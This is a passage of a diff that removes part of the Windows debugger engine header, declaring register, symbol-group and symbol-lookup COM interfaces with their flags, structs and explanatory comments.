- __out_opt PDEBUG_REGISTER_DESCRIPTION Desc
- ) PURE;
- STDMETHOD(GetIndexByName)(
- THIS_
- __in PCSTR Name,
- __out PULONG Index
- ) PURE;
-
- STDMETHOD(GetValue)(
- THIS_
- __in ULONG Register,
- __out PDEBUG_VALUE Value
- ) PURE;
- // SetValue makes a best effort at coercing
- // the given value into the given registers
- // value type. If the given value is larger
- // than the register can hold the least
- // significant bits will be dropped. Float
- // to int and int to float will be done
- // if necessary. Subregister bits will be
- // inserted into the master register.
- STDMETHOD(SetValue)(
- THIS_
- __in ULONG Register,
- __in PDEBUG_VALUE Value
- ) PURE;
- // Gets Count register values. If Indices is
- // non-NULL it must contain Count register
- // indices which control the registers affected.
- // If Indices is NULL the registers from Start
- // to Start + Count 1 are retrieved.
- STDMETHOD(GetValues)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Indices,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_VALUE Values
- ) PURE;
- STDMETHOD(SetValues)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Indices,
- __in ULONG Start,
- __in_ecount(Count) PDEBUG_VALUE Values
- ) PURE;
-
- // Outputs a group of registers in a well-formatted
- // way thats specific to the platforms register set.
- // Uses the line prefix.
- STDMETHOD(OutputRegisters)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags
- ) PURE;
-
- // Abstracted pieces of processor information.
- // The mapping of these values to architectural
- // registers is architecture-specific and their
- // interpretation and existence may vary. They
- // are intended to be directly compatible with
- // calls which take this information, such as
- // stack walking.
- STDMETHOD(GetInstructionOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(GetStackOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(GetFrameOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
-
- // IDebugRegisters2.
-
- STDMETHOD(GetDescriptionWide)(
- THIS_
- __in ULONG Register,
- __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PDEBUG_REGISTER_DESCRIPTION Desc
- ) PURE;
- STDMETHOD(GetIndexByNameWide)(
- THIS_
- __in PCWSTR Name,
- __out PULONG Index
- ) PURE;
-
- // Pseudo-registers are synthetic values derived
- // by the engine that are presented in a manner
- // similar to regular registers. They are simple
- // value holders, similar to actual registers.
- // Pseudo-registers are defined for concepts,
- // such as current-instruction-pointer or
- // current-thread-data. As such they have
- // types appropriate for their data.
- STDMETHOD(GetNumberPseudoRegisters)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetPseudoDescription)(
- THIS_
- __in ULONG Register,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 TypeModule,
- __out_opt PULONG TypeId
- ) PURE;
- STDMETHOD(GetPseudoDescriptionWide)(
- THIS_
- __in ULONG Register,
- __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 TypeModule,
- __out_opt PULONG TypeId
- ) PURE;
- STDMETHOD(GetPseudoIndexByName)(
- THIS_
- __in PCSTR Name,
- __out PULONG Index
- ) PURE;
- STDMETHOD(GetPseudoIndexByNameWide)(
- THIS_
- __in PCWSTR Name,
- __out PULONG Index
- ) PURE;
- // Some pseudo-register values are affected
- // by the register source, others are not.
- STDMETHOD(GetPseudoValues)(
- THIS_
- __in ULONG Source,
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Indices,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_VALUE Values
- ) PURE;
- // Many pseudo-registers are read-only and cannot be set.
- STDMETHOD(SetPseudoValues)(
- THIS_
- __in ULONG Source,
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Indices,
- __in ULONG Start,
- __in_ecount(Count) PDEBUG_VALUE Values
- ) PURE;
-
- // These expanded methods allow selection
- // of the source of register information.
- STDMETHOD(GetValues2)(
- THIS_
- __in ULONG Source,
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Indices,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_VALUE Values
- ) PURE;
- STDMETHOD(SetValues2)(
- THIS_
- __in ULONG Source,
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Indices,
- __in ULONG Start,
- __in_ecount(Count) PDEBUG_VALUE Values
- ) PURE;
- STDMETHOD(OutputRegisters2)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Source,
- __in ULONG Flags
- ) PURE;
- STDMETHOD(GetInstructionOffset2)(
- THIS_
- __in ULONG Source,
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(GetStackOffset2)(
- THIS_
- __in ULONG Source,
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(GetFrameOffset2)(
- THIS_
- __in ULONG Source,
- __out PULONG64 Offset
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugSymbolGroup
-//
-//----------------------------------------------------------------------------
-
-// OutputSymbols flags.
-// Default output contains
-// **NAME****OFF****VALUE****TYPE**
-// per symbol.
-#define DEBUG_OUTPUT_SYMBOLS_DEFAULT 0x00000000
-#define DEBUG_OUTPUT_SYMBOLS_NO_NAMES 0x00000001
-#define DEBUG_OUTPUT_SYMBOLS_NO_OFFSETS 0x00000002
-#define DEBUG_OUTPUT_SYMBOLS_NO_VALUES 0x00000004
-#define DEBUG_OUTPUT_SYMBOLS_NO_TYPES 0x00000010
-
-#define DEBUG_OUTPUT_NAME_END "**NAME**"
-#define DEBUG_OUTPUT_OFFSET_END "**OFF**"
-#define DEBUG_OUTPUT_VALUE_END "**VALUE**"
-#define DEBUG_OUTPUT_TYPE_END "**TYPE**"
-
-#define DEBUG_OUTPUT_NAME_END_WIDE L"**NAME**"
-#define DEBUG_OUTPUT_OFFSET_END_WIDE L"**OFF**"
-#define DEBUG_OUTPUT_VALUE_END_WIDE L"**VALUE**"
-#define DEBUG_OUTPUT_TYPE_END_WIDE L"**TYPE**"
-
-#ifdef UNICODE
-#define DEBUG_OUTPUT_NAME_END_T DEBUG_OUTPUT_NAME_END_WIDE
-#define DEBUG_OUTPUT_OFFSET_END_T DEBUG_OUTPUT_OFFSET_END_WIDE
-#define DEBUG_OUTPUT_VALUE_END_T DEBUG_OUTPUT_VALUE_END_WIDE
-#define DEBUG_OUTPUT_TYPE_END_T DEBUG_OUTPUT_TYPE_END_WIDE
-#else
-#define DEBUG_OUTPUT_NAME_END_T DEBUG_OUTPUT_NAME_END
-#define DEBUG_OUTPUT_OFFSET_END_T DEBUG_OUTPUT_OFFSET_END
-#define DEBUG_OUTPUT_VALUE_END_T DEBUG_OUTPUT_VALUE_END
-#define DEBUG_OUTPUT_TYPE_END_T DEBUG_OUTPUT_TYPE_END
-#endif
-
-// DEBUG_SYMBOL_PARAMETERS flags.
-// Cumulative expansion level, takes four bits.
-#define DEBUG_SYMBOL_EXPANSION_LEVEL_MASK 0x0000000f
-// Symbols subelements follow.
-#define DEBUG_SYMBOL_EXPANDED 0x00000010
-// Symbols value is read-only.
-#define DEBUG_SYMBOL_READ_ONLY 0x00000020
-// Symbol subelements are array elements.
-#define DEBUG_SYMBOL_IS_ARRAY 0x00000040
-// Symbol is a float value.
-#define DEBUG_SYMBOL_IS_FLOAT 0x00000080
-// Symbol is a scope argument.
-#define DEBUG_SYMBOL_IS_ARGUMENT 0x00000100
-// Symbol is a scope argument.
-#define DEBUG_SYMBOL_IS_LOCAL 0x00000200
-
-typedef struct _DEBUG_SYMBOL_PARAMETERS
-{
- ULONG64 Module;
- ULONG TypeId;
- // ParentSymbol may be DEBUG_ANY_ID when unknown.
- ULONG ParentSymbol;
- // A subelement of a symbol can be a field, such
- // as in structs, unions or classes; or an array
- // element count for arrays.
- ULONG SubElements;
- ULONG Flags;
- ULONG64 Reserved;
-} DEBUG_SYMBOL_PARAMETERS, *PDEBUG_SYMBOL_PARAMETERS;
-
-#undef INTERFACE
-#define INTERFACE IDebugSymbolGroup
-DECLARE_INTERFACE_(IDebugSymbolGroup, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugSymbolGroup.
- STDMETHOD(GetNumberSymbols)(
- THIS_
- __out PULONG Number
- ) PURE;
- // On input Index indicates the desired insertion
- // index. On output Index contains the actual index.
- // Use DEBUG_ANY_ID to append a symbol to the end.
- STDMETHOD(AddSymbol)(
- THIS_
- __in PCSTR Name,
- __inout PULONG Index
- ) PURE;
- STDMETHOD(RemoveSymbolByName)(
- THIS_
- __in PCSTR Name
- ) PURE;
- STDMETHOD(RemoveSymbolByIndex)(
- THIS_
- __in ULONG Index
- ) PURE;
- STDMETHOD(GetSymbolName)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- STDMETHOD(GetSymbolParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PDEBUG_SYMBOL_PARAMETERS Params
- ) PURE;
- STDMETHOD(ExpandSymbol)(
- THIS_
- __in ULONG Index,
- __in BOOL Expand
- ) PURE;
- // Uses the line prefix.
- STDMETHOD(OutputSymbols)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags,
- __in ULONG Start,
- __in ULONG Count
- ) PURE;
- STDMETHOD(WriteSymbol)(
- THIS_
- __in ULONG Index,
- __in PCSTR Value
- ) PURE;
- STDMETHOD(OutputAsType)(
- THIS_
- __in ULONG Index,
- __in PCSTR Type
- ) PURE;
-};
-
-#define DEBUG_SYMENT_IS_CODE 0x00000001
-#define DEBUG_SYMENT_IS_DATA 0x00000002
-#define DEBUG_SYMENT_IS_PARAMETER 0x00000004
-#define DEBUG_SYMENT_IS_LOCAL 0x00000008
-#define DEBUG_SYMENT_IS_MANAGED 0x00000010
-#define DEBUG_SYMENT_IS_SYNTHETIC 0x00000020
-
-typedef struct _DEBUG_SYMBOL_ENTRY
-{
- ULONG64 ModuleBase;
- ULONG64 Offset;
- ULONG64 Id;
- ULONG64 Arg64;
- ULONG Size;
- ULONG Flags;
- ULONG TypeId;
- ULONG NameSize;
- ULONG Token;
- ULONG Tag;
- ULONG Arg32;
- ULONG Reserved;
-} DEBUG_SYMBOL_ENTRY, *PDEBUG_SYMBOL_ENTRY;
-
-#undef INTERFACE
-#define INTERFACE IDebugSymbolGroup2
-DECLARE_INTERFACE_(IDebugSymbolGroup2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugSymbolGroup.
-
- STDMETHOD(GetNumberSymbols)(
- THIS_
- __out PULONG Number
- ) PURE;
- // On input Index indicates the desired insertion
- // index. On output Index contains the actual index.
- // Use DEBUG_ANY_ID to append a symbol to the end.
- STDMETHOD(AddSymbol)(
- THIS_
- __in PCSTR Name,
- __inout PULONG Index
- ) PURE;
- STDMETHOD(RemoveSymbolByName)(
- THIS_
- __in PCSTR Name
- ) PURE;
- STDMETHOD(RemoveSymbolByIndex)(
- THIS_
- __in ULONG Index
- ) PURE;
- STDMETHOD(GetSymbolName)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- STDMETHOD(GetSymbolParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PDEBUG_SYMBOL_PARAMETERS Params
- ) PURE;
- STDMETHOD(ExpandSymbol)(
- THIS_
- __in ULONG Index,
- __in BOOL Expand
- ) PURE;
- // Uses the line prefix.
- STDMETHOD(OutputSymbols)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags,
- __in ULONG Start,
- __in ULONG Count
- ) PURE;
- STDMETHOD(WriteSymbol)(
- THIS_
- __in ULONG Index,
- __in PCSTR Value
- ) PURE;
- STDMETHOD(OutputAsType)(
- THIS_
- __in ULONG Index,
- __in PCSTR Type
- ) PURE;
-
- // IDebugSymbolGroup2.
-
- STDMETHOD(AddSymbolWide)(
- THIS_
- __in PCWSTR Name,
- __inout PULONG Index
- ) PURE;
- STDMETHOD(RemoveSymbolByNameWide)(
- THIS_
- __in PCWSTR Name
- ) PURE;
- STDMETHOD(GetSymbolNameWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- STDMETHOD(WriteSymbolWide)(
- THIS_
- __in ULONG Index,
- __in PCWSTR Value
- ) PURE;
- STDMETHOD(OutputAsTypeWide)(
- THIS_
- __in ULONG Index,
- __in PCWSTR Type
- ) PURE;
-
- STDMETHOD(GetSymbolTypeName)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- STDMETHOD(GetSymbolTypeNameWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- STDMETHOD(GetSymbolSize)(
- THIS_
- __in ULONG Index,
- __out PULONG Size
- ) PURE;
- // If the symbol has an absolute address
- // this method will retrieve it.
- STDMETHOD(GetSymbolOffset)(
- THIS_
- __in ULONG Index,
- __out PULONG64 Offset
- ) PURE;
- // If the symbol is enregistered this
- // method will return the register index.
- STDMETHOD(GetSymbolRegister)(
- THIS_
- __in ULONG Index,
- __out PULONG Register
- ) PURE;
- STDMETHOD(GetSymbolValueText)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- STDMETHOD(GetSymbolValueTextWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- STDMETHOD(GetSymbolEntryInformation)(
- THIS_
- __in ULONG Index,
- __out PDEBUG_SYMBOL_ENTRY Entry
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugSymbols.
-//
-//----------------------------------------------------------------------------
-
-//
-// Information about a module.
-//
-
-// Flags.
-#define DEBUG_MODULE_LOADED 0x00000000
-#define DEBUG_MODULE_UNLOADED 0x00000001
-#define DEBUG_MODULE_USER_MODE 0x00000002
-#define DEBUG_MODULE_EXE_MODULE 0x00000004
-#define DEBUG_MODULE_EXPLICIT 0x00000008
-#define DEBUG_MODULE_SECONDARY 0x00000010
-#define DEBUG_MODULE_SYNTHETIC 0x00000020
-#define DEBUG_MODULE_SYM_BAD_CHECKSUM 0x00010000
-
-// Symbol types.
-#define DEBUG_SYMTYPE_NONE 0
-#define DEBUG_SYMTYPE_COFF 1
-#define DEBUG_SYMTYPE_CODEVIEW 2
-#define DEBUG_SYMTYPE_PDB 3
-#define DEBUG_SYMTYPE_EXPORT 4
-#define DEBUG_SYMTYPE_DEFERRED 5
-#define DEBUG_SYMTYPE_SYM 6
-#define DEBUG_SYMTYPE_DIA 7
-
-typedef struct _DEBUG_MODULE_PARAMETERS
-{
- ULONG64 Base;
- ULONG Size;
- ULONG TimeDateStamp;
- ULONG Checksum;
- ULONG Flags;
- ULONG SymbolType;
- ULONG ImageNameSize;
- ULONG ModuleNameSize;
- ULONG LoadedImageNameSize;
- ULONG SymbolFileNameSize;
- ULONG MappedImageNameSize;
- ULONG64 Reserved[2];
-} DEBUG_MODULE_PARAMETERS, *PDEBUG_MODULE_PARAMETERS;
-
-// Scope arguments are function arguments
-// and thus only change when the scope
-// crosses functions.
-#define DEBUG_SCOPE_GROUP_ARGUMENTS 0x00000001
-// Scope locals are locals declared in a particular
-// scope and are only defined within that scope.
-#define DEBUG_SCOPE_GROUP_LOCALS 0x00000002
-// All symbols in the scope.
-#define DEBUG_SCOPE_GROUP_ALL 0x00000003
-
-// Typed data output control flags.
-#define DEBUG_OUTTYPE_DEFAULT 0x00000000
-#define DEBUG_OUTTYPE_NO_INDENT 0x00000001
-#define DEBUG_OUTTYPE_NO_OFFSET 0x00000002
-#define DEBUG_OUTTYPE_VERBOSE 0x00000004
-#define DEBUG_OUTTYPE_COMPACT_OUTPUT 0x00000008
-#define DEBUG_OUTTYPE_RECURSION_LEVEL(Max) (((Max) & 0xf) << 4)
-#define DEBUG_OUTTYPE_ADDRESS_OF_FIELD 0x00010000
-#define DEBUG_OUTTYPE_ADDRESS_AT_END 0x00020000
-#define DEBUG_OUTTYPE_BLOCK_RECURSE 0x00200000
-
-// FindSourceFile flags.
-#define DEBUG_FIND_SOURCE_DEFAULT 0x00000000
-// Returns fully-qualified paths only. If this
-// is not set the path returned may be relative.
-#define DEBUG_FIND_SOURCE_FULL_PATH 0x00000001
-// Scans all the path elements for a match and
-// returns the one that has the most similarity
-// between the given file and the matching element.
-#define DEBUG_FIND_SOURCE_BEST_MATCH 0x00000002
-// Do not search source server paths.
-#define DEBUG_FIND_SOURCE_NO_SRCSRV 0x00000004
-// Restrict FindSourceFileAndToken to token lookup only.
-#define DEBUG_FIND_SOURCE_TOKEN_LOOKUP 0x00000008
-
-// A special value marking an offset that should not
-// be treated as a valid offset. This is only used
-// in special situations where it is unlikely that
-// this value would be a valid offset.
-#define DEBUG_INVALID_OFFSET ((ULONG64)-1)
-
-// Module index sort order used by GetModuleByIndex() API.
-#define MODULE_ORDERS_MASK 0xF0000000
-#define MODULE_ORDERS_LOADTIME 0x10000000
-#define MODULE_ORDERS_MODULENAME 0x20000000
-
-#undef INTERFACE
-#define INTERFACE IDebugSymbols
-DECLARE_INTERFACE_(IDebugSymbols, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugSymbols.
-
- // Controls the symbol options used during
- // symbol operations.
- // Uses the same flags as dbghelps SymSetOptions.
- STDMETHOD(GetSymbolOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddSymbolOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveSymbolOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetSymbolOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- STDMETHOD(GetNameByOffset)(
- THIS_
- __in ULONG64 Offset,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Displacement
- ) PURE;
- // A symbol name may not be unique, particularly
- // when overloaded functions exist which all
- // have the same name. If GetOffsetByName
- // finds multiple matches for the name it
- // can return any one of them. In that
- // case it will return S_FALSE to indicate
- // that ambiguity was arbitrarily resolved.
- // A caller can then use SearchSymbols to
- // find all of the matches if it wishes to
- // perform different disambiguation.
- STDMETHOD(GetOffsetByName)(
- THIS_
- __in PCSTR Symbol,
- __out PULONG64 Offset
- ) PURE;
- // GetNearNameByOffset returns symbols
- // located near the symbol closest to
- // to the offset, such as the previous
- // or next symbol. If Delta is zero it
- // operates identically to GetNameByOffset.
- // If Delta is nonzero and such a symbol
- // does not exist an error is returned.
- // The next symbol, if one exists, will
- // always have a higher offset than the
- // input offset so the displacement is
- // always negative. The situation is
- // reversed for the previous symbol.
- STDMETHOD(GetNearNameByOffset)(
- THIS_
- __in ULONG64 Offset,
- __in LONG Delta,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Displacement
- ) PURE;
-
- STDMETHOD(GetLineByOffset)(
- THIS_
- __in ULONG64 Offset,
- __out_opt PULONG Line,
- __out_ecount_opt(FileBufferSize) PSTR FileBuffer,
- __in ULONG FileBufferSize,
- __out_opt PULONG FileSize,
- __out_opt PULONG64 Displacement
- ) PURE;
- STDMETHOD(GetOffsetByLine)(
- THIS_
- __in ULONG Line,
- __in PCSTR File,
- __out PULONG64 Offset
- ) PURE;
-
- // Enumerates the engines list of modules
- // loaded for the current process. This may
- // or may not match the system module list
- // for the process. Reload can be used to
- // synchronize the engines list with the system
- // if necessary.
- // Some sessions also track recently unloaded
- // code modules for help in analyzing failures
- // where an attempt is made to call unloaded code.
- // These modules are indexed after the loaded
- // modules.
- STDMETHOD(GetNumberModules)(
- THIS_
- __out PULONG Loaded,
- __out PULONG Unloaded
- ) PURE;
- STDMETHOD(GetModuleByIndex)(
- THIS_
- __in ULONG Index,
- __out PULONG64 Base
- ) PURE;
- // The module name may not be unique.
- // This method returns the first match.
- STDMETHOD(GetModuleByModuleName)(
- THIS_
- __in PCSTR Name,
- __in ULONG StartIndex,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
- // Offset can be any offset within
- // the module extent. Extents may
- // not be unique when including unloaded
- // drivers. This method returns the
- // first match.
- STDMETHOD(GetModuleByOffset)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG StartIndex,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
- // If Index is DEBUG_ANY_ID the base address
- // is used to look up the module instead.
- STDMETHOD(GetModuleNames)(
- THIS_
- __in ULONG Index,
- __in ULONG64 Base,
- __out_ecount_opt(ImageNameBufferSize) PSTR ImageNameBuffer,
- __in ULONG ImageNameBufferSize,
- __out_opt PULONG ImageNameSize,
- __out_ecount_opt(ModuleNameBufferSize) PSTR ModuleNameBuffer,
- __in ULONG ModuleNameBufferSize,
- __out_opt PULONG ModuleNameSize,
- __out_ecount_opt(LoadedImageNameBufferSize) PSTR LoadedImageNameBuffer,
- __in ULONG LoadedImageNameBufferSize,
- __out_opt PULONG LoadedImageNameSize
- ) PURE;
- STDMETHOD(GetModuleParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG64 Bases,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_MODULE_PARAMETERS Params
- ) PURE;
- // Looks up the module from a !
- // string.
- STDMETHOD(GetSymbolModule)(
- THIS_
- __in PCSTR Symbol,
- __out PULONG64 Base
- ) PURE;
-
- // Returns the string name of a type.
- STDMETHOD(GetTypeName)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- // Returns the ID for a type name.
- STDMETHOD(GetTypeId)(
- THIS_
- __in ULONG64 Module,
- __in PCSTR Name,
- __out PULONG TypeId
- ) PURE;
- STDMETHOD(GetTypeSize)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out PULONG Size
- ) PURE;
- // Given a type which can contain members
- // this method returns the offset of a
- // particular member within the type.
- // TypeId should give the container type ID
- // and Field gives the dot-separated path
- // to the field of interest.
- STDMETHOD(GetFieldOffset)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in PCSTR Field,
- __out PULONG Offset
- ) PURE;
-
- STDMETHOD(GetSymbolTypeId)(
- THIS_
- __in PCSTR Symbol,
- __out PULONG TypeId,
- __out_opt PULONG64 Module
- ) PURE;
- // As with GetOffsetByName a symbol's
- // name may be ambiguous. GetOffsetTypeId
- // returns the type for the symbol closest
- // to the given offset and can be used
- // to avoid ambiguity.
- STDMETHOD(GetOffsetTypeId)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG TypeId,
- __out_opt PULONG64 Module
- ) PURE;
-
- // Helpers for virtual and physical data
- // which combine creation of a location with
- // the actual operation.
- STDMETHOD(ReadTypedDataVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteTypedDataVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(OutputTypedDataVirtual)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG Flags
- ) PURE;
- STDMETHOD(ReadTypedDataPhysical)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteTypedDataPhysical)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(OutputTypedDataPhysical)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG Flags
- ) PURE;
-
- // Function arguments and scope block symbols
- // can be retrieved relative to currently
- // executing code. A caller can provide just
- // a code offset for scoping purposes and look
- // up names or the caller can provide a full frame
- // and look up actual values. The values for
- // scoped symbols are best-guess and may or may not
- // be accurate depending on program optimizations,
- // the machine architecture, the current point
- // in the programs execution and so on.
- // A caller can also provide a complete register
- // context for setting a scope to a previous
- // machine state such as a context saved for
- // an exception. Usually this isnt necessary
- // and the current register context is used.
- STDMETHOD(GetScope)(
- THIS_
- __out_opt PULONG64 InstructionOffset,
- __out_opt PDEBUG_STACK_FRAME ScopeFrame,
- __out_bcount_opt(ScopeContextSize) PVOID ScopeContext,
- __in ULONG ScopeContextSize
- ) PURE;
- // If ScopeFrame or ScopeContext is non-NULL then
- // InstructionOffset is ignored.
- // If ScopeContext is NULL the current
- // register context is used.
- // If the scope identified by the given
- // information is the same as before
- // SetScope returns S_OK. If the scope
- // information changes, such as when the
- // scope moves between functions or scope
- // blocks, SetScope returns S_FALSE.
- STDMETHOD(SetScope)(
- THIS_
- __in ULONG64 InstructionOffset,
- __in_opt PDEBUG_STACK_FRAME ScopeFrame,
- __in_bcount_opt(ScopeContextSize) PVOID ScopeContext,
- __in ULONG ScopeContextSize
- ) PURE;
- // ResetScope clears the scope information
- // for situations where scoped symbols
- // mask global symbols or when resetting
- // from explicit information to the current
- // information.
- STDMETHOD(ResetScope)(
- THIS
- ) PURE;
- // A scope symbol is tied to its particular
- // scope and only is meaningful within the scope.
- // The returned group can be updated by passing it back
- // into the method for lower-cost
- // incremental updates when stepping.
- STDMETHOD(GetScopeSymbolGroup)(
- THIS_
- __in ULONG Flags,
- __in_opt PDEBUG_SYMBOL_GROUP Update,
- __out PDEBUG_SYMBOL_GROUP* Symbols
- ) PURE;
-
- // Create a new symbol group.
- STDMETHOD(CreateSymbolGroup)(
- THIS_
- __out PDEBUG_SYMBOL_GROUP* Group
- ) PURE;
-
- // StartSymbolMatch matches symbol names
- // against the given pattern using simple
- // regular expressions. The search results
- // are iterated through using GetNextSymbolMatch.
- // When the caller is done examining results
- // the match should be freed via EndSymbolMatch.
- // If the match pattern contains a module name
- // the search is restricted to a single module.
- // Pattern matching is only done on symbol names,
- // not module names.
- // All active symbol match handles are invalidated
- // when the set of loaded symbols changes.
- STDMETHOD(StartSymbolMatch)(
- THIS_
- __in PCSTR Pattern,
- __out PULONG64 Handle
- ) PURE;
- // If Buffer is NULL the match does not
- // advance.
- STDMETHOD(GetNextSymbolMatch)(
- THIS_
- __in ULONG64 Handle,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG MatchSize,
- __out_opt PULONG64 Offset
- ) PURE;
- STDMETHOD(EndSymbolMatch)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-
- STDMETHOD(Reload)(
- THIS_
- __in PCSTR Module
- ) PURE;
-
- STDMETHOD(GetSymbolPath)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- STDMETHOD(SetSymbolPath)(
- THIS_
- __in PCSTR Path
- ) PURE;
- STDMETHOD(AppendSymbolPath)(
- THIS_
- __in PCSTR Addition
- ) PURE;
-
- // Manipulate the path for executable images.
- // Some dump files need to load executable images
- // in order to resolve dump information. This
- // path controls where the engine looks for
- // images.
- STDMETHOD(GetImagePath)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- STDMETHOD(SetImagePath)(
- THIS_
- __in PCSTR Path
- ) PURE;
- STDMETHOD(AppendImagePath)(
- THIS_
- __in PCSTR Addition
- ) PURE;
-
- // Path routines for source file location
- // methods.
- STDMETHOD(GetSourcePath)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- // Gets the nth part of the source path.
- STDMETHOD(GetSourcePathElement)(
- THIS_
- __in ULONG Index,
